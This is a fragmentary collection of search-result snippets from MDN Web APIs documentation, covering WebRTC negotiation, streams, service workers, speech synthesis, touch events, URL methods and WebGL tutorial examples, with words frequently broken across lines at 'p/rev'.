...track, stream)); }) this code takes sdp which has been received from the remote peer and constructs a new rtcsessiondescription to pass into setremotedescription(). once that succeeds, it uses mediadevices.getusermedia() to obtain access to the local webcam and microphone. if that succeeds, the resulting stream is assigned as the source for a <video> element which is referenced by the variable p
reviewelement. the final step is to begin sending the local video across the peer connection to the caller. this is done by adding each track in the stream by iterating over the list returned by mediastream.gettracks() and passing them to addtrack() along with the stream which they're a component of. specifications specification status comment webrtc 1.0: real-time comm...
RTCPeerConnection.onidpassertionerror - Web APIs
such an event is sent when the associated identity provider (idp) encounters an error while generating an identity assertion. this event handler is deprecated. you should instead detect idp assertion errors by handling rejection of the promise returned by rtcpeerconnection.peeridentity. ...
...ing rejection of the promise returned by rtcpeerconnection.peeridentity. syntax peerconnection.onidpassertionerror = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}. an event handler always has one single parameter, containing the event, here of type rtcidentityerro
revent. example pc.onidpassertionerror = function(ev) { alert("onidpassertionerror event detected!"); }; ...
RTCPeerConnection.onidpvalidationerror - Web APIs
such an event is sent when the associated identity provider (idp) encounters an error while validating an identity assertion. this event handler is obsolete. you should instead detect idp validation errors by watching for the promise returned by rtcpeerconnection.peeridentity to be rejected. ...
... the promise returned by rtcpeerconnection.peeridentity to be rejected. syntax peerconnection.onidpvalidationerror = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}. an event handler always has one single parameter, containing the event, here of type rtcidentityerro
revent. example pc.onidpvalidationerror = function(ev) { alert("onidpvalidationerror event detected!"); }; ...
RTCPeerConnection.setRemoteDescription() - Web APIs
essiondescriptioninit or rtcsessiondescription object is missing the type property, or no description parameter was provided at all. usage notes when you call setremotedescription(), the ice agent checks to make sure the rtcpeerconnection is in either the stable or have-remote-offer signalingstate. these states indicate that either an existing connection is being renegotiated or that an offer p
reviously specified by an earlier call to setremotedescription() is to be replaced with the new offer. in either of those two cases, we're at the beginning of the negotiation process, and the offer is set as the remote description. on the other hand, if we're in the middle of an ongoing negotiation and an offer is passed into setremotedescription(), the ice agent automatically begins an ice rollback...
...matically begins an ice rollback in order to return the connection to a stable signaling state, then, once the rollback is completed, sets the remote description to the specified offer. this begins a new negotiation session, with the newly-established offer as the starting point. upon starting the new negotiation with the newly-established offer, the local peer is now the callee, even if it was p
reviously the caller. this happens instead of throwing an exception, thereby reducing the number of potential errors which might occur, and simplifies the processing you need to do when you receive an offer, by eliminating the need to handle the offer/answer process differently depending on whether the local peer is the caller or callee. note: earlier implementations of webrtc would throw an except...
ReadableStream.pipeTo() - Web APIs
the pipeto() method of the readablestream interface pipes the current readablestream to a given writablestream and returns a promise that fulfills when the piping process completes successfully, or rejects if any errors were encountered. piping a stream will generally lock it for the duration of the pipe, p
reventing other readers from locking it. syntax var promise = readablestream.pipeto(destination[, options]); parameters destination a writablestream that acts as the final destination for the readablestream. options optional the options that should be used when piping to the writable stream. available options are: p
reventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed. the method will ...
...uld be used when piping to the writable stream. available options are: p
reventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed. the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error. p
reventabort: if this is set to true, errors in the source readablestream will no longer abort the destination writablestream. the method will return a promise rejected with the source’s error, or with any error that occurs during aborting the destination. p
reventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream. in this case t...
ReadableStream.tee() - Web APIs
ds. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, you’d need two copies to do this. to cancel the stream you then need to cancel both resulting branches. ...
...see simple tee example for the full code. ...
Request.mode - Web APIs
alid responses, and which properties of the response are readable. syntax var mymode = request.mode; value a requestmode value. the associated mode, available values of which are: same-origin — if a request is made to another origin with this mode set, the result is simply an error. you could use this to ensure that a request is always being made to your origin. no-cors — p
revents the method from being anything other than head, get or post, and the headers from being anything other than simple headers. if any serviceworkers intercept these requests, they may not add or override any headers except for those that are simple headers. in addition, javascript may not access any properties of the resulting response. this ensures that serviceworkers do not affect the semantic...
...om being anything other than head, get or post, and the headers from being anything other than simple headers. if any serviceworkers intercept these requests, they may not add or override any headers except for those that are simple headers. in addition, javascript may not access any properties of the resulting response. this ensures that serviceworkers do not affect the semantics of the web and p
revents security and privacy issues arising from leaking data across domains. cors — allows cross-origin requests, for example to access various apis offered by 3rd party vendors. these are expected to adhere to the cors protocol. only a limited set of headers are exposed in the response, but the body is readable. navigate — a mode for supporting navigation. the navigate value is intended to ...
SVGGraphicsElement: copy event - Web APIs
yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.p
reventdefault(). however, the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard. example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 100 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobj...
... clipboard api and events working draft initial definition ...
SVGGraphicsElement: paste event - Web APIs
lt action is to insert the contents of the clipboard into the document at the cursor position. a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.p
reventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents. example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http:/...
... clipboard api and events working draft initial definition ...
Selection - Web APIs
the anchor is where the user began the selection and the focus is where the user ends the selection. ...
...atically; it's possible that this may change in the future (see w3c bug 14383 and webkit bug 38696). behavior of selection api in terms of editing host focus changes the selection api has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called. the behavior is as follows: an editing host gains focus if the p
revious selection was outside of it. a selection api method is called, causing a new selection to be made with the selection range inside the editing host. focus then moves to the editing host. note: the selection api methods may only move focus to an editing host, not to other focusable elements (e.g., <a>). the above behavior applies to selections made using the following methods: selecti...
Using server-sent events - Web APIs
ection is restarted. the connection is terminated with the .close() method. evtsource.close(); event stream format the event stream is a simple stream of text data which must be encoded using utf-8. messages in the event stream are separated by a pair of newline characters. a colon as the first character of a line is in essence a comment, and is ignored. note: the comment line can be used to p
revent connections from timing out; a server can send a comment periodically to keep the connection alive. each message consists of one or more lines of text listing the fields for that message. each field is represented by the field name, followed by a colon, followed by the text data for that field's value. fields each message received has some combination of the following fields, one per line: ...
... in milliseconds. if a non-integer value is specified, the field is ignored. all other field names are ignored. note: if a line doesn't contain a colon, the entire line is treated as the field name with an empty value string. examples data-only messages in the following example, there are three messages sent. the first is just a comment, since it starts with a colon character. as mentioned p
reviously, this can be useful as a keep-alive mechanism if messages might not be sent regularly. the second message contains a data field with the value "some text". the third message contains a data field with the value "another message\nwith two lines". note the newline special character in the value. : this is a test stream data: some text data: another message data: with two lines named eve...
Service Worker API - Web APIs
s a consequence, apis such as synchronous xhr and localstorage can't be used inside a service worker. service workers only run over https, for security reasons. having modified network requests, wide open to man in the middle attacks would be really bad. in firefox, service worker apis are also hidden and cannot be used when the user is in private browsing mode. note: service workers win over p
revious attempts in this area such as; appcache because they don't make assumptions about what you are trying to do, and then break when those assumptions are not exactly right; you have granular control over everything. note: service workers make heavy use of promises, as generally they will wait for responses to come through, after which they will respond with a success or failure action. the pr...
...isten for the installevent; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage api, and placing assets inside it that you'll want for running your app offline. there is also an activate event. the point where this event fires is generally a good time to clean up old caches and other things associated with the p
revious version of your service worker. your service worker can respond to requests using the fetchevent event. you can modify the response to these requests in any way you want, using the fetchevent.respondwith method. note: because oninstall/onactivate could take a while to complete, the service worker spec provides a waituntil method, once this is called oninstall or onactivate, it passes a pro...
SpeechSynthesis - Web APIs
le. in our speech synthesiser demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with p
reventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('.txt'); var voiceselect ...
...ces[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); }...
SpeechSynthesisUtterance: error event - Web APIs
the error event of the web speech api speechsynthesisutterance object is fired when an error occurs that p
revents the utterance from being succesfully spoken. ...
... the error event of the web speech api speechsynthesisutterance object is fired when an error occurs that p
revents the utterance from being succesfully spoken. ...
SpeechSynthesisUtterance.onerror - Web APIs
the onerror property of the speechsynthesisutterance interface represents an event handler that will run when an error occurs that p
revents the utterance from being succesfully spoken (when the error event fires.) syntax speechsynthesisutteranceinstance.onerror = function() { ... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
...ully spoken (when the error event fires.) syntax speechsynthesisutteranceinstance.onerror = function() { ... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
Using Touch Events - Web APIs
changedtouches list in the touchmove event handler to determine if two touch points had moved and then implement the semantics of that gesture in an application-specific manner. browsers typically dispatch emulated mouse and click events when there is only a single active touch point. multi-touch interactions involving two or more active touch points will usually only generate touch events. to p
revent the emulated mouse events from being sent, use the p
reventdefault() method in the touch event handlers. for more information about the interaction between mouse and touch events, see supporting both touchevent and mouseevent. basic steps this section contains a basic usage of using the above interfaces. see the touch events overview for a more detailed example. register an event handler for...
...gesture_not_supported(ev); break; } } access the attributes of a touch point. // create touchstart handler someelement.addeventlistener('touchstart', function(ev) { // iterate through the touch points that were activated // for this element and process each event 'target' for (var i=0; i < ev.targettouches.length; i++) { process_target(ev.targettouches[i].target); } }, false); p
revent the browser from processing emulated mouse events. // touchmove handler function process_touchmove(ev) { // set call p
reventdefault() ev.p
reventdefault(); } best practices here are some best practices to consider when using touch events: minimize the amount of work that is done in the touch handlers. add the touch point handlers to the specific target element (rather than the entir...
URL.createObjectURL() - Web APIs
note: this feature is available in web workers. note: this feature is not available in service workers due to its potential to create memory leaks. ...
...bject url for. return value a domstring containing an object url that can be used to reference the contents of the specified source object. examples see using object urls to display images. usage notes memory management each time you call createobjecturl(), a new object url is created, even if you've already created one for the same object. each of these must be released by calling url.
revokeobjecturl() when you no longer need them. browsers will release object urls automatically when the document is unloaded; however, for optimal performance and memory usage, if there are safe times when you can explicitly unload them, you should do so. using object urls for media streams in older versions of the media source specification, attaching a stream to a <video> element required creat...
URL - Web APIs
whole url. it is a synonym for url.href, though it can't be used to modify the value. tojson() returns a usvstring containing the whole url. it returns the same string as the href property. static methods createobjecturl() returns a domstring containing a unique blob url, that is a url with blob: as its scheme, followed by an opaque string uniquely identifying the object in the browser.
revokeobjecturl()
revokes an object url p
reviously created using url.createobjecturl(). usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url = new url('../cats', 'http://www.example.com/dogs'); console.log(url.hostname); // "www.example.com" console.log(url.pathname); // "/cats" url properties can b...
...eturns the value of the href property, so the constructor can be used to normalize and encode a url directly. const response = await fetch(new url('http://www.example.com/démonstration.html')); specifications specification status comment file apithe definition of 'url' in that specification. working draft added the static methods url.createobjecturl() and url.
revokeobjecturl(). urlthe definition of 'api' in that specification. living standard initial definition (implements urlutils). ...
ValidityState - Web APIs
false if it does fit the step rule. if true, the element matches the :invalid and :out-of-range css pseudo-classes. toolong read only a boolean that is true if the value exceeds the specified maxlength for htmlinputelement or htmltextareaelement objects, or false if its length is less than or equal to the maximum length. note: this property is never true in gecko, because elements' values are p
revented from being longer than maxlength. if true, the element matches the the :invalid and :out-of-range css pseudo-classes. tooshort read only a boolean that is true if the value fails to meet the specified minlength for htmlinputelement or htmltextareaelement objects, or false if its length is greater than or equal to the minimum length. if true, the element matches the :invalid and :out-of-ra...
...ute, but no value, or false otherwise. if true, the element matches the :invalid css pseudo-class. specifications specification status comment html living standardthe definition of 'validitystate' in that specification. living standard living standard html 5.1the definition of 'validitystate' in that specification. recommendation no change from the p
revious snapshot html5. html5the definition of 'validitystate' in that specification. recommendation first snapshot of html living standard containing this interface. ...
WebGLRenderingContext.blendEquation() - Web APIs
end equation and alpha blend equation to a single equation. the blend equation determines how a new pixel is combined with a pixel already in the webglframebuffer. syntax void gl.blendequation(mode); parameters mode a glenum specifying how source and destination colors are combined. must be either: gl.func_add: source + destination, gl.func_subtract: source - destination, gl.func_
reverse_subtract: destination - source when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination. when using a webgl 2 context, the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination. default value:...
...onally: gl.min: minimum of source and destination, gl.max: maximum of source and destination. default value: gl.func_add exception if mode is not one of the three possible values, a gl.invalid_enum error is thrown. return value none. examples to set the blend equation, use: gl.blendequation(gl.func_add); gl.blendequation(gl.func_subtract); gl.blendequation(gl.func_
reverse_subtract); to get the blend equations, query the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_
reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext. gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true spe...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
with node.js. then we could load the binary file and interpret it as an array buffer: const response = await fetch('assets/geometry.bin'); const buffer = await response.arraybuffer(); consume array buffer with webgl first, we create a new vertex buffer object (vbo) and supply it with our array buffer: //bind array buffer to a vertex...
...gl.linkprogram(shaderprogram); or we can use the index provided by the graphics card instead of setting the index ourselves; this avoids the re-linking of the shader program. const locposition = gl.getattriblocation(shaderprogram, 'position'); gl.vertexattribpointer(locposition, 3, gl.float, false, 20, 0); gl.enablevertexattribarray(locposition); const locnormal = gl.getattriblocat...
Basic scissoring - Web APIs
scissoring establishes a clipping region outside which drawing will not occur. clearing the drawing buffer when scissoring applies this is a simple demonstration of a rendering with scissor(). although the clear() drawing command writes the clear color (set by clearcolor()) to all pixels in the drawing buffer, scissor() defines a mask that only allows pixels inside the specified rectangular area to be updated. this is a good opportunity to talk about the difference between pixels and fragments. ...
...wingbufferwidth, gl.drawingbufferheight); // enable scissoring operation and define the position and // size of the scissoring area. gl.enable(gl.scissor_test); gl.scissor(40, 20, 60, 130); // clear the drawing buffer solid yellow. gl.clearcolor(1.0, 1.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); }, false); the source code of this example is also available on github. « p
reviousnext » ...
Boilerplate 1 - Web APIs
boilerplate code for setting up webgl rendering context by now you are quite used to seeing the same pieces of html, css, and javascript repeated again and again. so we are going to hide them from now on. this would allow us to focus on the interesting pieces of code that are most relevant for learning webgl. specifically, the html has a <p> element that contains some descriptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. the css contains rules for body, canvas, and button. ...
...h = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } the source code of this example is also available on github. « p
reviousnext » ...
Canvas size and WebGL - Web APIs
effect of canvas size on rendering with webgl with scissor() and clear() we can demonstrate how the webgl drawing buffer is affected by the size of the canvas. the size of the first canvas is set to the styled element size, determined by css. this is done by assigning the width and height properties of the canvas to the values of the clientwidth and clientheight properties, respectively. in contrast, no such assignment is done for the second canvas. ...
...bgl context. ...
Clearing by clicking - Web APIs
clearing the rendering context with random colors this example provides a simple illustration of how to combine webgl and user interaction. every time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color. note how we embed the webgl function calls inside the event handler function. ...
...0], color[1], color[2], 1.0); // clear the context with the newly set color. this is // the function call that actually does the drawing. gl.clear(gl.color_buffer_bit); } // random color helper function. function getrandomcolor() { return [math.random(), math.random(), math.random()]; } }, false); the source code of this example is also available on github. « p
reviousnext » ...
Clearing with colors - Web APIs
clearing the webgl context with a solid color the simplest graphical webgl program. set up the rendering context and then just clear it solid green. note that css sets the background color of the canvas to black, so when the canvas turns green we know that webgl's magic has worked. in addition, you may notice that clearing the drawing buffer with a solid color is a two-stage process. first, we set the clear color to green, using the method clearcolor(). this only changes some internal state of webgl, but does not draw anything yet. next, we actually do the drawing by calling the clear() method. this is typical of how drawing is done with webgl. ...
...ports webgl. ...
Color masking - Web APIs
masking random colors this example modifies the random color animation by applying color masking with colormask(). you can think of the color masking operation as if looking at the colored canvas through some tinted glass or color filter. so, by masking off the blue and green channels, you are only allowing the red component of pixels to be updated, and therefore it is as if you were looking through a red tinted glass. color masking allows us to demonstrate some basics of color theory. by masking off some channel(s), we are in fact biasing the displayed colors towards the complementary color. ...
...sk(mask[0], mask[1], mask[2], true); drawanimation(); }; function drawanimation () { var color = getrandomcolor(); gl.clearcolor(color[0], color[1], color[2], 1.0); gl.clear(gl.color_buffer_bit); } function getrandomcolor() { return [math.random(), math.random(), math.random()]; } }, false); the source code of this example is also available on github. « p
reviousnext » ...
Detect WebGL - Web APIs
feature-detecting webgl in this first example we are going to check whether the browser supports webgl. to that end we will try to obtain the webgl rendering context from a canvas element. the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands. saving the state of the graphics machine within a single context interface is not unique to webgl. this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context. however, the properties and variables you can tweak are different for each api. ...
...ebgl"); // report the result. ...
Hello GLSL - Web APIs
note: this example will most likely work in all modern desktop browsers. but it may not work in some mobile or older browsers. if the canvas remains blank, you can check the output of the next example, which draws exactly the same thing. but remember to read through the explanations and code on this page, before moving on to the next. hello world program in glsl a very simple first shader program. ...
...t.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github. « p
reviousnext » ...
Hello vertex attributes - Web APIs
hello world program in glsl how to send input to a shader program by saving data in gpu memory. <p>first encounter with attributes and sending data to gpu. ...
...t.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github. « p
reviousnext » ...
Raining rectangles - Web APIs
« p
reviousnext » a simple webgl game that demonstrates clearing with solid colors, scissoring, animation, and user interaction. animation and user interaction with scissoring this is a simple game. the objective: try to catch as many of the raining rectangles as you can by clicking on them. in this example, we use an object-oriented approach for the displayed rectangles, which helps to keep the state of the rectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable. this example combines clearing the drawing buffer with solid colors and scissoring operations. it is a p
review of a full graphical application that manipulates various phases of the webgl graphics pipeline and state machine. in addition, the example demons...
...t.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github. « p
reviousnext » ...
Scissor animation - Web APIs
animation with scissoring in this example, we are animating squares using scissor() and clear(). we again establish an animation loop using timers. note that this time it is the position of the square (the scissoring area) that is updated every frame (we set frame rate to roughly one every 17ms, or roughly 60fps – frames per second). in contrast, the color of the square (set with clearcolor) is only updated when a new square is created. this is a nice demonstration of webgl as a state machine. for each square, we set its color once, and then update only its position every frame. ...
...t.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github. « p
reviousnext » ...
Simple color animation - Web APIs
color animation with clear this example provides a simple illustration of color animation with webgl, as well as user interaction. the user can start, stop and restart the animation by clicking the button. this time we put the webgl function calls within a timer event handler. a click event handler additionally enables the basic user interaction of starting and stopping the animation. the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second). ...
...t clear color to the // random color. ...
Textures from code - Web APIs
that is, using code to generate textures for use in shading webgl objects. drawing textures with code texturing a point sprite with calculations done per-pixel in the fragment shader. <p>texture from code. ...
...t.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github. « p
reviousnext » ...
Video textures - Web APIs
« p
revious this example demonstrates how to use video files as textures for webgl surfaces. ...
... « p
revious this example demonstrates how to use video files as textures for webgl surfaces. ...
WebGL by example - Web APIs
l concepts and capabilities. the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader programming, textures, geometry, user interaction, and more. examples by topic the examples are sorted in order of increasing difficulty. but rather than just presenting them in a single long list, they are additionally divided into topics. sometimes we
revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels. instead of trying to juggle shaders, geometry, and working with gpu memory, already in the first program, the examples here explore webgl in an incremental way. we believe that it leads to a more effective learning experience and ultimately a deeper understandi...
...amples here explore webgl in an incremental way. we believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts. explanations about the examples are found in both the main text and in comments within the code. you should read all comments, because more advanced examples could not repeat comments about parts of the code that were p
reviously explained. getting to know the rendering context detect webgl this example demonstrates how to detect a webgl rendering context and reports the result to the user. clearing with colors how to clear the rendering context with a solid color. clearing by clicking how to combine user interaction with graphics operations. clearing the rendering context with a random color when the user...
Adding 2D content to a WebGL context - Web APIs
a simple thing we can do is draw a simple square untextured plane, so let's start there, by building code to draw a square plane. the complete source code for this project is available on github. this project uses the glmatrix library to perform its matrix operations, so you will need to include that in your project. we're loading a copy from a cdn in our html's <head>. drawing the scene the most important thing to understand before we get started is that even though we're only rendering a square plane object in this example, we're still drawing in 3d space. ...
...open this demo on a new page matrix utility operations matrix operations might seem complicated but they are actually pretty simple if you take them one step at a time. generally people use a matrix library rather than writing their own. in our case we're using the popular glmatrix library. see also matrices on webglfundamentals matrices on wolfram mathworld matrix on wikipedia « p
reviousnext » ...
Animating objects with WebGL - Web APIs
this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. making the square rotate let's start by making the square rotate. the first thing we'll need is a variable in which to track the current rotation of the square: var squarerotation = 0.0; now we need to update the drawscene() function to apply the current rotation to the square when drawing it. ...
...compute deltatime which is the number of second since the last frame was rendered. at the end of drawscene we add the code to update squarerotation. squarerotation += deltatime; this code uses the amount of time that's passed since the last time we updated the value of squarerotation to determine how far to rotate the square. view the complete code | open this demo on a new page « p
reviousnext » ...
Animating textures in WebGL - Web APIs
this is actually pretty easy to do and fun to watch, so let's get started. you can use similar code to use any sort of data (such as a <canvas>) as the source for your textures. this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. ...
...e: function updatetexture(gl, texture, video) { const level = 0; const internalformat = gl.rgba; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, video); } you've seen this code before. it's nearly identical to the image onload function in the p
revious example — except when we call teximage2d(), instead of passing an image object, we pass in the <video> element. webgl knows how to pull the current frame out and use it as a texture. then in main() in place of the call to loadtexture() in the p
revious example, we call inittexture() followed by setupvideo() . in the definition of render() if copyvideo is true, then we call updatetexture()...
Creating 3D objects using WebGL - Web APIs
to do this efficiently, we're going to switch from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing individual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements(). consider: each face requires four vertices to define it, but each vertex is shared by three faces. we can pass a lot fewer data around by building an array of all 24 vertices, then referring to each vertex by its index into that array instead of moving entire sets of coordinates around. ...
...be, even though many of them are duplicates. finally, let's replace our variable squarerotation by cuberotation and add a second rotation around the x axis: mat4.rotate(modelviewmatrix, modelviewmatrix, cuberotation * .7, [0, 1, 0]); at this point, we now have an animated cube rotating, its six faces rather vividly colored. view the complete code | open this demo on a new page « p
reviousnext » ...
WebRTC connectivity - Web APIs
cegatheringstate to change to complete, by watching for the icegatheringstatechange event. when things go wrong during negotiation, there will be times when things just don't work out. for example, when renegotiating a connection—for example, to adapt to changing hardware or network configurations—it's possible that negotiation could reach a dead end, or some form of error might occur that p
revents negotiation at all. there may be permissions issues or other problems as well, for that matter. ice rollbacks when renegotiating a connection that's already active and a situation arises in which the negotiation fails, you don't really want to kill the already-running call. after all, you were most likely just trying to upgrade or downgrade the connection, or to otherwise make adaptations t...
...rollback restores the sdp offer (and the connection configuration by extension) to the configuration it had the last time the connection's signalingstate was stable. to programmatically initiate a rollback, send a description whose type is rollback. any other properties in the description object are ignored. in addition, the ice agent will automatically initiate a rollback when a peer that had p
reviously created an offer receives an offer from the remote peer. in other words, if the local peer is in the state have-local-offer, indicating that the local peer had p
reviously sent an offer, calling setremotedescription() with a received offer triggers rollback so that the negotiation switches from the remote peer being the caller to the local peer being the caller. ice restarts for now, see i...
A simple RTCDataChannel sample - Web APIs
</label> <button id="sendbutton" name="sendbutton" class="buttonright" disabled> send </button> </div> finally, there's the little box into which we'll insert the messages. this <div> block will be the second peer. <div class="messagebox" id="receivebox"> <p>messages received:</p> </div> the javascript code while you can just look at the code itself on github, below we'll
review the parts of the code that do the heavy lifting. the webrtc api makes heavy use of promises. they make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ecmascript 2015, you should read up on them. similarly, this example uses arrow functions to simplify syntax. starting up when the script is run, we set up an load ev...
...es a new <p> (paragraph) element, then creates a new text node containing the message text, which is received in the event's data property. this text node is appended as a child of the new element, which is then inserted into the receivebox block, thereby causing it to draw in the browser window. disconnecting the peers when the user clicks the "disconnect" button, the disconnectpeers() method p
reviously set as that button's handler is called. function disconnectpeers() { // close the rtcdatachannels if they're open. sendchannel.close(); receivechannel.close(); // close the rtcpeerconnections localconnection.close(); remoteconnection.close(); sendchannel = null; receivechannel = null; localconnection = null; remoteconnection = null; // up...
Taking still photos with WebRTC - Web APIs
n the size difference between the video's actual size, video.videowidth, and the width at which we're going to render it, width. finally, the width and height of both the video and the canvas are set to match each other by calling element.setattribute() on each of the two properties on each element, and setting widths and heights as appropriate. ...
...ropriate. finally, we set the streaming variable to true to p
revent us from inadvertently running this setup code again. handle clicks on the button to capture a still photo each time the user clicks the startbutton, we need to add an event listener to the button, to be called when the click event is issued: startbutton.addeventlistener('click', function(ev){ takepicture(); ev.p
reventdefault(); }, false); this method is simple enough: it just calls our takepicture() function, defined below in the section capturing a frame from the stream, then calls event.p
reventdefault() on the received event to p
revent the click from being handled more than once. wrapping up the startup() method there are only two more lines of code in the startup() method: clearphoto(); } ...
Using DTMF with WebRTC - Web APIs
include within it the new state, so we get the connection process's current state from callerpc's rtcpeerconnection.iceconnectionstate property. after logging the new state, we look to see if the state is "connected". if so, we log the fact that we're about to send the dtmf, then we call dtmf.insertdtmf() to send the dtmf on the same track as the audio data method on the rtcdtmfsender object we p
reviously stored in dtmfsender. our call to insertdtmf() specifies not only the dtmf to send (dialstring), but also the length of each tone in milliseconds (400 ms) and the amount of time between tones (50 ms). negotiating the connection when the calling rtcpeerconnection begins to receive media (after the microphone's stream is added to it), a negotiationneeded event is delivered to the caller, l...
...d (dialstring), but also the length of each tone in milliseconds (400 ms) and the amount of time between tones (50 ms). negotiating the connection when the calling rtcpeerconnection begins to receive media (after the microphone's stream is added to it), a negotiationneeded event is delivered to the caller, letting it know that it's time to start negotiating the connection with the receiver. as p
reviously mentioned, our example is simplified somewhat because we control both the caller and the receiver, so handlecallernegotiationneeded() is able to quickly construct the connection by chaining the required calls together for both the caller and receiver, as shown below. function handlecallernegotiationneeded() { log("negotiating..."); callerpc.createoffer(offeroptions) .then(function(of...
Fundamentals of WebXR - Web APIs
mixed reality is a large and complex subject, with much to learn and many other apis to bring together in order to create an engaging experience for users. ...
